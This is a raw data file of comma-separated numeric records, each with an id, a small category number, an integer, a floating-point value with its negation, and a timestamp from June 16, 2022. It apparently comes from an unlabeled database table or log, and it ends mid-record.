+15940,4,7583,9.784648181,-9.784648181,2022-06-16 10:56:09.940513+00 +15941,4,7607,12.56041187,-12.56041187,2022-06-16 10:56:09.941248+00 +15942,4,7486,10.03084388,-10.03084388,2022-06-16 10:56:09.941995+00 +15943,4,7550,9.989217817,-9.989217817,2022-06-16 10:56:09.942716+00 +15944,4,7551,9.73388704,-9.73388704,2022-06-16 10:56:09.943383+00 +15945,4,7615,9.694027777,-9.694027777,2022-06-16 10:56:09.944049+00 +14775,3,7280,5.120708241,-5.120708241,2022-06-16 10:47:43.462581+00 +13759,6,7102,14.85322538,-14.85322538,2022-06-16 10:40:21.614562+00 +17340,3,7863,19.4130792,-19.4130792,2022-06-16 11:05:33.137943+00 +18670,1,8110,9.703213836,-9.703213836,2022-06-16 11:12:52.952779+00 +13762,6,7103,14.40684664,-14.40684664,2022-06-16 10:40:21.666525+00 +14786,4,7096,10.12945263,-10.12945263,2022-06-16 10:47:50.401723+00 +15969,6,7598,16.75960759,-16.75960759,2022-06-16 10:56:18.817173+00 +18671,1,8111,9.633160905,-9.633160905,2022-06-16 11:12:52.95359+00 +18672,1,8095,8.400650355,-8.400650355,2022-06-16 11:12:52.954363+00 +13767,1,7040,4.929550619,-4.929550619,2022-06-16 10:40:22.696811+00 +13768,1,7024,2.22167811,-2.22167811,2022-06-16 10:40:22.698066+00 +13769,4,6995,11.04183585,-11.04183585,2022-06-16 10:40:27.612142+00 +13770,1,7027,14.12150705,-14.12150705,2022-06-16 10:40:28.710608+00 +13771,1,7003,7.249401437,-7.249401437,2022-06-16 10:40:28.711793+00 +13772,1,7019,5.985640367,-5.985640367,2022-06-16 10:40:28.712587+00 +13773,1,7035,5.842112068,-5.842112068,2022-06-16 10:40:28.713349+00 +13774,2,7082,11.20981869,-11.20981869,2022-06-16 10:40:29.884853+00 +13775,1,6995,12.49343929,-12.49343929,2022-06-16 10:40:34.722304+00 +13776,1,7011,18.38147585,-18.38147585,2022-06-16 10:40:34.725855+00 +13777,1,7085,9.653140537,-9.653140537,2022-06-16 10:40:37.727848+00 +13778,1,7101,9.638793706,-9.638793706,2022-06-16 10:40:37.731479+00 +14806,7,7050,13.34801619,-13.34801619,2022-06-16 10:48:03.687858+00 +18687,2,8126,8.902433581,-8.902433581,2022-06-16 11:13:04.657832+00 +21613,4,8640,2.581411776,-2.581411776,2022-06-16 11:30:06.740362+00 +15999,1,7345,12.04699652,-12.04699652,2022-06-16 10:56:19.834113+00 +13783,6,7024,3.426472859,-3.426472859,2022-06-16 10:40:39.577828+00 +24309,2,9008,1.557940657,0,2022-06-16 11:43:04.455002+00 +63898,6,15253,4.864210824,-4.864210824,2022-06-16 14:56:57.002539+00 +32216,6,10159,8.847252218,-8.847252218,2022-06-16 12:17:10.726475+00 +13932,6,7071,13.13591215,-13.13591215,2022-06-16 10:41:57.267425+00 +19495,1,8184,11.0158938,-11.0158938,2022-06-16 11:17:37.925327+00 +42607,2,11824,1.734277941,0,2022-06-16 13:11:04.795137+00 +15257,2,7423,10.82958326,-10.82958326,2022-06-16 10:51:05.437401+00 +48913,4,12970,5.563018455,-5.563018455,2022-06-16 13:46:17.541238+00 +30335,3,9840,2.625648091,0,2022-06-16 12:07:28.413877+00 +32388,4,10222,5.652234721,-5.652234721,2022-06-16 12:18:08.846124+00 +14117,2,7134,10.87018016,-10.87018016,2022-06-16 10:43:04.458275+00 +18240,6,8000,6.561072197,-6.561072197,2022-06-16 11:10:11.605973+00 +19694,6,8302,14.6739748,-14.6739748,2022-06-16 11:18:47.653503+00 +16869,4,7576,10.62284715,-10.62284715,2022-06-16 11:02:30.762012+00 +15423,2,7421,9.281157199,-9.281157199,2022-06-16 10:52:19.422066+00 +18300,1,8000,3.637239161,-3.637239161,2022-06-16 11:10:37.896267+00 +18301,1,7984,1.342482422,-1.342482422,2022-06-16 11:10:37.899581+00 +16952,2,7790,12.36069666,-12.36069666,2022-06-16 11:03:05.309065+00 +15494,2,7454,10.43590081,-10.43590081,2022-06-16 10:53:04.733799+00 +18327,6,7998,12.96977624,-12.96977624,2022-06-16 11:10:40.517312+00 +18328,6,8062,12.9016467,-12.9016467,2022-06-16 11:10:40.520696+00 +24620,6,9149,3.959853172,-3.959853172,2022-06-16 11:44:13.761379+00 +18337,4,7832,10.37813169,-10.37813169,2022-06-16 11:10:46.933297+00 +32389,4,10160,0.637719472,0,2022-06-16 12:18:08.84948+00 +14349,6,7213,6.461258469,-6.461258469,2022-06-16 10:44:28.218266+00 +32390,4,10238,4.404222662,-4.404222662,2022-06-16 12:18:08.850414+00 +18408,1,7968,8.034953612,-8.034953612,2022-06-16 11:11:07.892409+00 +22944,4,8787,9.385266705,-9.385266705,2022-06-16 11:36:30.148738+00 +14408,2,7230,11.79021927,-11.79021927,2022-06-16 10:45:05.279954+00 +17122,1,7792,1.518967442,-1.518967442,2022-06-16 11:04:10.900256+00 +17123,1,7808,3.802942447,-3.802942447,2022-06-16 11:04:10.903416+00 +22974,6,8878,12.67046175,-12.67046175,2022-06-16 11:36:40.578562+00 +15671,4,7435,15.43746526,-15.43746526,2022-06-16 10:54:22.034806+00 +14459,6,6867,15.23168673,-15.23168673,2022-06-16 10:45:14.99574+00 +14460,6,6931,15.16546383,-15.16546383,2022-06-16 10:45:14.99898+00 +14461,6,6995,15.09957065,-15.09957065,2022-06-16 10:45:14.999816+00 +14462,6,7059,15.0340069,-15.0340069,2022-06-16 10:45:15.000585+00 +14463,6,7123,14.96877224,-14.96877224,2022-06-16 10:45:15.001362+00 +15672,4,7467,4.693552192,-4.693552192,2022-06-16 10:54:22.038245+00 +15673,4,7483,4.579429725,-4.579429725,2022-06-16 10:54:22.039374+00 +15674,4,7451,5.894276857,-5.894276857,2022-06-16 10:54:22.040361+00 +19834,3,8318,15.02496196,-15.02496196,2022-06-16 11:19:30.258658+00 +32391,4,10176,1.887430904,-1.887430904,2022-06-16 12:18:08.851544+00 +22999,1,8878,7.680409832,-7.680409832,2022-06-16 11:36:44.023597+00 +15752,3,7405,12.63883635,-12.63883635,2022-06-16 10:54:52.625984+00 +15759,4,7352,10.00954695,-10.00954695,2022-06-16 10:54:53.821585+00 +23000,1,8862,7.949390817,-7.949390817,2022-06-16 11:36:44.024883+00 +17254,2,7839,10.21305882,-10.21305882,2022-06-16 11:05:04.849846+00 +23001,1,8895,5.767763759,-5.767763759,2022-06-16 11:36:44.025657+00 +23002,1,8894,5.969556951,-5.969556951,2022-06-16 11:36:44.026436+00 +19984,6,8366,14.43387168,-14.43387168,2022-06-16 11:20:25.029068+00 +17302,2,7803,8.229192781,-8.229192781,2022-06-16 11:05:14.540725+00 +15828,2,7543,13.25979133,-13.25979133,2022-06-16 10:55:05.26869+00 +17314,7,7818,12.61574222,-12.61574222,2022-06-16 11:05:24.34974+00 +23003,1,8863,7.885926273,-7.885926273,2022-06-16 11:36:44.027253+00 +23004,1,8879,7.621964245,-7.621964245,2022-06-16 11:36:44.028018+00 +21692,4,8671,8.814852904,-8.814852904,2022-06-16 11:30:16.195979+00 +14690,2,7232,6.414963903,-6.414963903,2022-06-16 10:47:04.556617+00 +18673,1,8032,8.01312516,-8.01312516,2022-06-16 11:12:58.948057+00 +21698,1,8619,4.753848829,-4.753848829,2022-06-16 11:30:16.981812+00 +20074,2,8382,8.197093694,-8.197093694,2022-06-16 11:21:05.215823+00 +21699,1,8635,4.643392664,-4.643392664,2022-06-16 11:30:16.984+00 +20095,2,8299,7.833425377,-7.833425377,2022-06-16 11:21:14.559087+00 +21728,4,8595,9.540034476,-9.540034476,2022-06-16 11:30:27.637478+00 +23005,1,8824,10.07656453,-10.07656453,2022-06-16 11:36:44.028679+00 +23012,6,8853,12.17891992,-12.17891992,2022-06-16 11:36:47.124525+00 +26768,3,9341,9.130178639,-9.130178639,2022-06-16 11:52:03.029918+00 +15946,1,7597,8.570830918,-8.570830918,2022-06-16 10:56:13.844868+00 +15947,1,7337,11.88527506,-11.88527506,2022-06-16 10:56:13.848288+00 +15948,1,7613,8.754684975,-8.754684975,2022-06-16 10:56:13.849189+00 +15949,1,7321,11.98514425,-11.98514425,2022-06-16 10:56:13.850039+00 +26774,3,9325,8.894548762,-8.894548762,2022-06-16 11:52:03.894984+00 +23097,4,8696,8.888708779,-8.888708779,2022-06-16 11:37:14.967381+00 +17503,1,7926,10.82169076,-10.82169076,2022-06-16 11:06:22.888886+00 +15980,6,7615,13.53949655,-13.53949655,2022-06-16 10:56:19.150525+00 +17504,1,7867,5.040714841,-5.040714841,2022-06-16 11:06:22.892163+00 +15986,4,7539,12.41513015,-12.41513015,2022-06-16 10:56:19.314987+00 +15987,4,7515,5.853664221,-5.853664221,2022-06-16 10:56:19.316473+00 +15988,4,7547,4.514973209,-4.514973209,2022-06-16 10:56:19.317665+00 +15989,4,7499,15.31427968,-15.31427968,2022-06-16 10:56:19.318548+00 +17505,1,7851,5.152661124,-5.152661124,2022-06-16 11:06:22.892999+00 +16000,1,7353,11.81960002,-11.81960002,2022-06-16 10:56:19.83753+00 +16016,6,7597,5.886121371,-5.886121371,2022-06-16 10:56:27.165321+00 +17506,1,7927,10.80465593,-10.80465593,2022-06-16 11:06:22.89375+00 +17517,4,7827,10.17883531,-10.17883531,2022-06-16 11:06:27.623555+00 +17518,1,7903,8.739778898,-8.739778898,2022-06-16 11:06:28.871622+00 +17519,1,7775,8.707493381,-8.707493381,2022-06-16 11:06:28.875292+00 +17520,1,7935,7.767428832,-7.767428832,2022-06-16 11:06:28.876181+00 +17521,1,7934,8.11471971,-8.11471971,2022-06-16 11:06:28.876969+00 +17522,1,7918,10.28747076,-10.28747076,2022-06-16 11:06:28.877863+00 +14840,4,7280,1.495093486,-1.495093486,2022-06-16 10:48:07.670789+00 +14841,4,7296,3.425897865,-3.425897865,2022-06-16 10:48:07.674953+00 +14844,4,7213,7.513654489,-7.513654489,2022-06-16 10:48:09.953763+00 +14845,4,7277,7.486236755,-7.486236755,2022-06-16 10:48:09.957144+00 +14846,4,7229,7.510904523,-7.510904523,2022-06-16 10:48:09.958+00 +14847,4,7293,7.483541386,-7.483541386,2022-06-16 10:48:09.958867+00 +14852,4,7358,10.93568343,-10.93568343,2022-06-16 10:48:13.039236+00 +14853,4,7295,10.79164568,-10.79164568,2022-06-16 10:48:13.040514+00 +14854,4,7359,10.74578619,-10.74578619,2022-06-16 10:48:13.041304+00 +17523,1,7774,8.818354544,-8.818354544,2022-06-16 11:06:28.878658+00 +17524,1,7919,10.19159705,-10.19159705,2022-06-16 11:06:28.879477+00 +14861,1,7280,1.972136527,-1.972136527,2022-06-16 10:48:13.801828+00 +14862,1,7264,8.728151192,-8.728151192,2022-06-16 10:48:13.805176+00 +14863,1,7272,19.20261075,-19.20261075,2022-06-16 10:48:13.806025+00 +17525,1,7838,8.78563625,-8.78563625,2022-06-16 11:06:28.880133+00 +17526,1,7839,8.648479697,-8.648479697,2022-06-16 11:06:28.880767+00 +17527,1,7902,8.753100925,-8.753100925,2022-06-16 11:06:28.881423+00 +14872,4,7283,12.87820933,-12.87820933,2022-06-16 10:48:21.009013+00 +14873,4,7243,15.50172031,-15.50172031,2022-06-16 10:48:21.012467+00 +14874,4,7259,6.097138243,-6.097138243,2022-06-16 10:48:21.013406+00 +14875,4,7275,4.90102083,-4.90102083,2022-06-16 10:48:21.014307+00 +14876,4,7291,4.78160136,-4.78160136,2022-06-16 10:48:22.755052+00 +17539,3,7869,11.76795068,-11.76795068,2022-06-16 11:06:47.384232+00 +24832,2,9150,6.110849044,-6.110849044,2022-06-16 11:45:05.203454+00 +20222,4,8381,6.11187622,-6.11187622,2022-06-16 11:22:11.527433+00 +20223,4,8365,5.934576395,-5.934576395,2022-06-16 11:22:11.530939+00 +14881,2,7277,9.480284519,-9.480284519,2022-06-16 10:48:24.442653+00 +16108,2,7607,13.20098697,-13.20098697,2022-06-16 10:57:05.137264+00 +19375,2,8239,10.74524732,-10.74524732,2022-06-16 11:17:05.009424+00 +34432,2,10496,4.450165941,-4.450165941,2022-06-16 12:29:04.686526+00 +21044,2,8542,9.428164114,-9.428164114,2022-06-16 11:27:05.073741+00 +16651,2,7742,9.929876508,-9.929876508,2022-06-16 11:01:05.188914+00 +13788,6,7040,7.250018654,-7.250018654,2022-06-16 10:40:39.793187+00 +13789,1,6817,13.16386891,-13.16386891,2022-06-16 10:40:43.698035+00 +13790,1,6833,13.18197726,-13.18197726,2022-06-16 10:40:43.701711+00 +13791,1,6801,13.01366875,-13.01366875,2022-06-16 10:40:43.702793+00 +13792,1,6825,12.91559007,-12.91559007,2022-06-16 10:40:43.703658+00 +13793,1,6809,13.01706393,-13.01706393,2022-06-16 10:40:43.704476+00 +13794,1,6841,12.86459404,-12.86459404,2022-06-16 10:40:43.705322+00 +13795,2,7050,10.87037302,-10.87037302,2022-06-16 10:40:43.827587+00 +13796,1,7103,10.20455179,-10.20455179,2022-06-16 10:40:46.698304+00 +13797,1,7094,12.42507083,-12.42507083,2022-06-16 10:40:46.701971+00 +13798,1,7102,10.60080909,-10.60080909,2022-06-16 10:40:46.70291+00 +13799,1,7095,12.37232457,-12.37232457,2022-06-16 10:40:46.703714+00 +13800,1,7070,9.112231938,-9.112231938,2022-06-16 10:40:46.704512+00 +13801,1,7071,9.144545435,-9.144545435,2022-06-16 10:40:46.705323+00 +15230,1,7336,19.13801531,-19.13801531,2022-06-16 10:51:04.826829+00 +15231,1,7320,13.01545271,-13.01545271,2022-06-16 10:51:04.830172+00 +22606,2,8799,9.221620449,-9.221620449,2022-06-16 11:35:05.06886+00 +15268,4,7256,10.8712312,-10.8712312,2022-06-16 10:51:10.165605+00 +21098,6,8557,4.695790382,-4.695790382,2022-06-16 11:27:15.136976+00 +14098,6,7099,7.564271564,-7.564271564,2022-06-16 10:42:38.774543+00 +18133,1,7967,8.561426757,-8.561426757,2022-06-16 11:09:13.895451+00 +56352,4,14176,5.364079505,-5.364079505,2022-06-16 14:26:56.326184+00 +63899,1,15228,10.01481997,-10.01481997,2022-06-16 14:56:57.202271+00 +14178,6,7149,6.535770245,-6.535770245,2022-06-16 10:43:17.032862+00 +14194,6,7134,13.23237512,-13.23237512,2022-06-16 10:43:34.136278+00 +34577,1,10278,15.90244796,-15.90244796,2022-06-16 12:29:53.298887+00 +14211,6,7166,14.45339179,-14.45339179,2022-06-16 10:43:34.797838+00 +18241,4,7840,6.662347915,-6.662347915,2022-06-16 11:10:11.963942+00 +19613,4,8240,0.879280885,-0.879280885,2022-06-16 11:18:07.456941+00 +15458,6,7469,6.120029823,-6.120029823,2022-06-16 10:52:50.631028+00 +15476,6,7455,13.42369334,-13.42369334,2022-06-16 10:53:04.288491+00 +15496,6,7486,13.99717552,-13.99717552,2022-06-16 10:53:04.736816+00 +19614,4,8256,2.778266684,-2.778266684,2022-06-16 11:18:07.461496+00 +15515,6,7487,13.76317824,-13.76317824,2022-06-16 10:53:04.979527+00 +16899,6,7742,13.5134428,-13.5134428,2022-06-16 11:02:46.982361+00 +14350,4,7123,10.90752349,-10.90752349,2022-06-16 10:44:28.271209+00 +21213,4,8557,5.738547119,-5.738547119,2022-06-16 11:28:08.986299+00 +21214,4,8573,5.89572612,-5.89572612,2022-06-16 11:28:08.989786+00 +19724,6,8256,6.409515837,-6.409515837,2022-06-16 11:18:50.464046+00 +28207,2,9472,4.976345576,-4.976345576,2022-06-16 11:57:04.588207+00 +15611,6,7549,6.14732896,-6.14732896,2022-06-16 10:54:04.665818+00 +19753,2,8302,10.56195565,-10.56195565,2022-06-16 11:19:04.634823+00 +17024,4,7584,6.62912714,-6.62912714,2022-06-16 11:03:26.737088+00 +14464,6,6883,21.0933728,-21.0933728,2022-06-16 10:45:15.188155+00 +14465,6,6947,21.01608857,-21.01608857,2022-06-16 10:45:15.191528+00 +14466,6,7011,20.93892138,-20.93892138,2022-06-16 10:45:15.192324+00 +14467,6,7075,20.86187528,-20.86187528,2022-06-16 10:45:15.19309+00 +14468,6,7139,20.7849543,-20.7849543,2022-06-16 10:45:15.193884+00 +14478,6,7163,7.233247409,-7.233247409,2022-06-16 10:45:15.634123+00 +15657,4,7542,12.69984707,-12.69984707,2022-06-16 10:54:17.616891+00 +15675,1,7533,8.768081499,-8.768081499,2022-06-16 10:54:22.832514+00 +15676,1,7273,12.00079954,-12.00079954,2022-06-16 10:54:22.835897+00 +15677,1,7289,11.97855167,-11.97855167,2022-06-16 10:54:22.836783+00 +15678,1,7549,8.806524329,-8.806524329,2022-06-16 10:54:22.83757+00 +34578,1,10470,15.84338074,-15.84338074,2022-06-16 12:29:53.302505+00 +30336,6,9855,7.592683454,-7.592683454,2022-06-16 12:07:28.419075+00 +15737,6,7550,13.93685283,-13.93685283,2022-06-16 10:54:41.905838+00 +24621,1,9149,5.134136203,-5.134136203,2022-06-16 11:44:14.103266+00 +15753,3,7469,12.56747022,-12.56747022,2022-06-16 10:54:52.804139+00 +22837,3,8878,16.44862618,-16.44862618,2022-06-16 11:36:07.032707+00 +14622,6,7216,3.310214023,-3.310214023,2022-06-16 10:46:28.62089+00 +17124,4,7790,11.7472688,-11.7472688,2022-06-16 11:04:11.159099+00 +17125,4,7854,11.69778837,-11.69778837,2022-06-16 11:04:11.1625+00 +17126,4,7774,9.857159135,-9.857159135,2022-06-16 11:04:11.163354+00 +17127,4,7775,9.769687028,-9.769687028,2022-06-16 11:04:11.164193+00 +17128,4,7839,9.730139324,-9.730139324,2022-06-16 11:04:11.164944+00 +17129,4,7870,9.265747986,-9.265747986,2022-06-16 11:04:11.165746+00 +17130,4,7807,8.941497927,-8.941497927,2022-06-16 11:04:11.16653+00 +17131,4,7862,12.06722471,-12.06722471,2022-06-16 11:04:11.167301+00 +17132,4,7863,12.03728931,-12.03728931,2022-06-16 11:04:11.168002+00 +24622,1,9117,10.51869145,-10.51869145,2022-06-16 11:44:14.106768+00 +24623,1,9125,16.14398916,-16.14398916,2022-06-16 11:44:14.107692+00 +24624,1,9133,4.95927297,-4.95927297,2022-06-16 11:44:14.108666+00 +14725,2,7295,11.46836383,-11.46836383,2022-06-16 10:47:05.400163+00 +22945,1,8827,4.578323023,-4.578323023,2022-06-16 11:36:38.05353+00 +21560,1,8568,10.32968897,-10.32968897,2022-06-16 11:29:59.011096+00 +14737,2,7227,8.718890706,-8.718890706,2022-06-16 10:47:14.557417+00 +21561,1,8536,11.26861973,-11.26861973,2022-06-16 11:29:59.01447+00 +17273,2,7870,9.622059385,-9.622059385,2022-06-16 11:05:05.317115+00 +18650,6,8048,2.547955298,-2.547955298,2022-06-16 11:12:21.178219+00 +22946,1,8811,4.684822239,-4.684822239,2022-06-16 11:36:38.057406+00 +17303,7,7690,12.67571831,-12.67571831,2022-06-16 11:05:15.299592+00 +17315,4,7704,10.52966687,-10.52966687,2022-06-16 11:05:30.66448+00 +17328,3,7855,18.86451426,-18.86451426,2022-06-16 11:05:32.84222+00 +15972,6,7599,16.72453536,-16.72453536,2022-06-16 10:56:18.884028+00 +18690,2,8127,8.61061427,-8.61061427,2022-06-16 11:13:04.71257+00 +15993,2,7549,9.047498708,-9.047498708,2022-06-16 10:56:19.408085+00 +21615,3,8686,16.91136315,-16.91136315,2022-06-16 11:30:08.04711+00 +14800,4,7160,10.09586622,-10.09586622,2022-06-16 10:48:00.396599+00 +16001,4,7531,4.606623741,-4.606623741,2022-06-16 10:56:20.601614+00 +24643,4,9055,8.41050084,-8.41050084,2022-06-16 11:44:16.844379+00 +16017,4,7507,10.50900336,-10.50900336,2022-06-16 10:56:27.238233+00 +20096,4,8184,9.226295216,-9.226295216,2022-06-16 11:21:15.991983+00 +21642,6,8624,1.723624163,0,2022-06-16 11:30:10.368211+00 +17395,6,7611,6.870633314,-6.870633314,2022-06-16 11:06:01.669875+00 +17396,6,7675,6.844565695,-6.844565695,2022-06-16 11:06:01.673559+00 +17397,6,7739,6.818646833,-6.818646833,2022-06-16 11:06:01.674804+00 +17398,6,7803,6.792875624,-6.792875624,2022-06-16 11:06:01.675958+00 +21668,6,8703,10.49448302,-10.49448302,2022-06-16 11:30:11.046727+00 +16066,6,7552,6.803891489,-6.803891489,2022-06-16 10:56:35.222097+00 +14839,6,7357,6.39654692,-6.39654692,2022-06-16 10:48:05.68466+00 +14842,1,7295,9.687704823,-9.687704823,2022-06-16 10:48:07.829095+00 +14843,1,7294,9.830909419,-9.830909419,2022-06-16 10:48:07.832674+00 +14848,4,7286,13.29629366,-13.29629366,2022-06-16 10:48:11.483579+00 +14849,4,7350,13.23822786,-13.23822786,2022-06-16 10:48:11.487003+00 +14850,4,7351,13.33814722,-13.33814722,2022-06-16 10:48:11.48799+00 +14851,4,7326,10.00701061,-10.00701061,2022-06-16 10:48:11.488974+00 +23006,4,8810,12.45206952,-12.45206952,2022-06-16 11:36:45.36443+00 +23007,4,8664,9.785980401,-9.785980401,2022-06-16 11:36:45.365956+00 +14859,3,7296,10.17947412,-10.17947412,2022-06-16 10:48:13.165478+00 +14860,3,7360,10.12227011,-10.12227011,2022-06-16 10:48:13.168932+00 +21709,1,8670,8.164233685,-8.164233685,2022-06-16 11:30:19.982853+00 +21710,1,8671,8.044742945,-8.044742945,2022-06-16 11:30:19.984559+00 +21711,1,8686,8.117824742,-8.117824742,2022-06-16 11:30:19.985867+00 +16100,2,7599,13.0726194,-13.0726194,2022-06-16 10:57:04.952171+00 +17468,4,7918,11.43412523,-11.43412523,2022-06-16 11:06:10.55369+00 +22562,6,8815,12.6292546,-12.6292546,2022-06-16 11:35:03.228287+00 +34434,2,10558,4.407197927,-4.407197927,2022-06-16 12:29:04.719451+00 +15148,2,7357,9.401513883,-9.401513883,2022-06-16 10:50:24.434605+00 +14886,2,7293,9.484497409,-9.484497409,2022-06-16 10:48:24.563316+00 +16619,2,7664,2.647130926,-2.647130926,2022-06-16 11:01:04.51055+00 +15232,2,7391,10.53917915,-10.53917915,2022-06-16 10:51:04.844992+00 +63900,1,15212,10.25812604,-10.25812604,2022-06-16 14:56:57.206542+00 +14890,6,7326,13.26927998,-13.26927998,2022-06-16 10:48:25.332469+00 +21140,3,8558,17.16394904,-17.16394904,2022-06-16 11:27:56.937929+00 +16684,6,7726,16.53248239,-16.53248239,2022-06-16 11:01:10.101337+00 +21141,3,8559,17.19798237,-17.19798237,2022-06-16 11:27:56.94153+00 +24409,2,9019,7.03678439,-7.03678439,2022-06-16 11:43:14.55888+00 +24430,3,9005,9.376359915,-9.376359915,2022-06-16 11:43:19.871189+00 +14896,6,7327,12.80634792,-12.80634792,2022-06-16 10:48:25.478744+00 +15369,4,7408,1.451282667,-1.451282667,2022-06-16 10:52:05.741587+00 +15370,4,7424,3.318310095,-3.318310095,2022-06-16 10:52:05.745146+00 +14899,6,7358,14.30441948,-14.30441948,2022-06-16 10:48:25.755433+00 +19615,4,8310,11.91511668,-11.91511668,2022-06-16 11:18:09.502393+00 +15401,1,7408,1.871965307,-1.871965307,2022-06-16 10:52:16.804998+00 +15402,1,7424,4.209030179,-4.209030179,2022-06-16 10:52:16.808793+00 +19650,2,8253,7.621172211,-7.621172211,2022-06-16 11:18:19.553401+00 +16816,2,7725,8.417919078,-8.417919078,2022-06-16 11:02:19.408014+00 +21216,2,8630,12.13992537,-12.13992537,2022-06-16 11:28:09.324679+00 +32282,4,10008,9.371876239,-9.371876239,2022-06-16 12:17:36.678769+00 +37060,6,10991,7.165638951,-7.165638951,2022-06-16 12:43:12.049113+00 +18331,6,8063,12.59815053,-12.59815053,2022-06-16 11:10:40.580694+00 +34579,1,10214,15.7845531,-15.7845531,2022-06-16 12:29:53.303416+00 +14910,6,7359,13.99414752,-13.99414752,2022-06-16 10:48:26.039523+00 +14911,4,7251,10.78355711,-10.78355711,2022-06-16 10:48:28.991447+00 +34580,1,10534,15.7259652,-15.7259652,2022-06-16 12:29:53.304416+00 +16979,3,7727,19.28465091,-19.28465091,2022-06-16 11:03:12.140938+00 +16980,3,7791,19.18179791,-19.18179791,2022-06-16 11:03:12.144985+00 +18382,1,8046,9.851605433,-9.851605433,2022-06-16 11:11:04.895806+00 +18383,1,8031,8.501757852,-8.501757852,2022-06-16 11:11:04.898917+00 +18384,1,8063,7.394426911,-7.394426911,2022-06-16 11:11:04.89981+00 +18385,1,8062,7.680335783,-7.680335783,2022-06-16 11:11:04.900584+00 +18386,1,8047,9.763339209,-9.763339209,2022-06-16 11:11:04.901415+00 +18387,1,8030,8.556051588,-8.556051588,2022-06-16 11:11:04.902159+00 +15698,3,7487,16.85227585,-16.85227585,2022-06-16 10:54:34.032509+00 +15708,1,7535,11.56634231,-11.56634231,2022-06-16 10:54:34.806217+00 +15709,1,7534,11.60215978,-11.60215978,2022-06-16 10:54:34.807469+00 +15710,1,7542,11.42416984,-11.42416984,2022-06-16 10:54:34.808259+00 +15711,1,7550,9.048972938,-9.048972938,2022-06-16 10:54:34.809071+00 +15712,1,7519,8.861757772,-8.861757772,2022-06-16 10:54:34.809891+00 +15713,1,7543,11.37493114,-11.37493114,2022-06-16 10:54:34.810777+00 +15714,1,7518,8.94885017,-8.94885017,2022-06-16 10:54:34.811498+00 +15715,1,7551,8.81864435,-8.81864435,2022-06-16 10:54:34.812188+00 +21382,2,8606,9.117617059,-9.117617059,2022-06-16 11:29:04.752954+00 +34581,1,10406,15.66761715,-15.66761715,2022-06-16 12:29:53.305623+00 +15746,1,7456,8.365318422,-8.365318422,2022-06-16 10:54:43.807105+00 +15747,1,7472,1.819649139,-1.819649139,2022-06-16 10:54:43.80814+00 +15748,1,7448,12.73375184,-12.73375184,2022-06-16 10:54:43.808821+00 +17150,2,7805,8.601863251,-8.601863251,2022-06-16 11:04:19.532094+00 +15755,2,7498,10.23512231,-10.23512231,2022-06-16 10:54:53.3003+00 +34582,1,10342,15.60950905,-15.60950905,2022-06-16 12:29:53.306635+00 +17179,7,7626,12.82259374,-12.82259374,2022-06-16 11:04:27.216176+00 +17206,6,7792,2.688746576,-2.688746576,2022-06-16 11:04:40.571174+00 +17222,6,7869,5.73168831,-5.73168831,2022-06-16 11:04:54.707863+00 +63901,1,15193,3.753052438,-3.753052438,2022-06-16 14:56:57.207539+00 +19953,2,8301,7.418287084,-7.418287084,2022-06-16 11:20:19.51712+00 +24705,6,9101,14.32038109,-14.32038109,2022-06-16 11:44:36.109814+00 +30492,6,9840,1.801674698,0,2022-06-16 12:08:09.442545+00 +20010,3,8384,9.057718554,-9.057718554,2022-06-16 11:20:32.413046+00 +15858,2,7467,8.708987213,-8.708987213,2022-06-16 10:55:14.533865+00 +28450,3,9582,15.08732438,-15.08732438,2022-06-16 11:58:06.643288+00 +20056,2,8367,10.37856986,-10.37856986,2022-06-16 11:21:04.824058+00 +21562,4,8472,9.981945837,-9.981945837,2022-06-16 11:30:02.975163+00 +30536,3,9835,11.28330196,-11.28330196,2022-06-16 12:08:39.541278+00 +26836,4,9344,2.214781647,-2.214781647,2022-06-16 11:52:08.047951+00 +26837,4,9328,0.639727871,0,2022-06-16 11:52:08.051691+00 +30573,6,9901,3.025457991,-3.025457991,2022-06-16 12:08:46.222465+00 +28538,2,9578,7.544320158,-7.544320158,2022-06-16 11:58:41.871679+00 +20159,6,8447,11.41258198,-11.41258198,2022-06-16 11:22:03.296264+00 +18732,2,8043,8.102069401,-8.102069401,2022-06-16 11:13:14.431792+00 +30613,2,9902,6.385884856,-6.385884856,2022-06-16 12:09:04.7787+00 +24967,2,9066,8.183624793,-8.183624793,2022-06-16 11:46:02.434912+00 +26931,6,9390,11.4764519,-11.4764519,2022-06-16 11:52:16.439438+00 +18770,4,7960,10.32050232,-10.32050232,2022-06-16 11:13:39.135987+00 +20208,4,8384,2.715777128,-2.715777128,2022-06-16 11:22:07.583962+00 +16002,1,7547,5.241775516,-5.241775516,2022-06-16 10:56:22.808268+00 +16003,1,7614,8.869745064,-8.869745064,2022-06-16 10:56:22.811667+00 +16004,1,7598,11.35337614,-11.35337614,2022-06-16 10:56:22.812547+00 +16005,1,7599,11.30700838,-11.30700838,2022-06-16 10:56:22.813385+00 +16006,1,7582,8.806695072,-8.806695072,2022-06-16 10:56:22.814175+00 +16007,1,7583,8.673638524,-8.673638524,2022-06-16 10:56:22.815028+00 +16008,1,7531,5.359204691,-5.359204691,2022-06-16 10:56:22.815823+00 +16009,1,7607,11.41721578,-11.41721578,2022-06-16 10:56:22.816478+00 +16010,1,7615,8.610440502,-8.610440502,2022-06-16 10:56:22.817121+00 +16011,1,7606,11.43262722,-11.43262722,2022-06-16 10:56:22.817792+00 +16023,1,7536,1.798247444,-1.798247444,2022-06-16 10:56:28.811067+00 +16024,1,7528,18.83608118,-18.83608118,2022-06-16 10:56:28.812132+00 +16025,1,7520,8.27265865,-8.27265865,2022-06-16 10:56:28.812782+00 +20209,4,8368,0.746410553,-0.746410553,2022-06-16 11:22:07.585219+00 +17529,1,7840,8.106192759,-8.106192759,2022-06-16 11:06:34.892719+00 +17530,1,7856,1.405110118,-1.405110118,2022-06-16 11:06:34.89626+00 +17531,1,7872,3.778171746,-3.778171746,2022-06-16 11:06:34.897496+00 +20224,4,8430,9.659648969,-9.659648969,2022-06-16 11:22:11.5318+00 +20225,4,8367,9.596151562,-9.596151562,2022-06-16 11:22:11.532572+00 +16061,6,7536,3.177251301,-3.177251301,2022-06-16 10:56:34.968816+00 +16067,2,7562,10.17543751,-10.17543751,2022-06-16 10:56:38.077561+00 +20226,4,8446,7.660040139,-7.660040139,2022-06-16 11:22:11.533315+00 +20227,4,8447,7.332862927,-7.332862927,2022-06-16 11:22:11.534066+00 +20241,2,8365,7.39505345,-7.39505345,2022-06-16 11:22:19.430382+00 +45812,1,12376,7.175234893,-7.175234893,2022-06-16 13:28:14.63485+00 +17594,2,7926,12.39978555,-12.39978555,2022-06-16 11:07:05.087114+00 +16102,2,7606,13.19835544,-13.19835544,2022-06-16 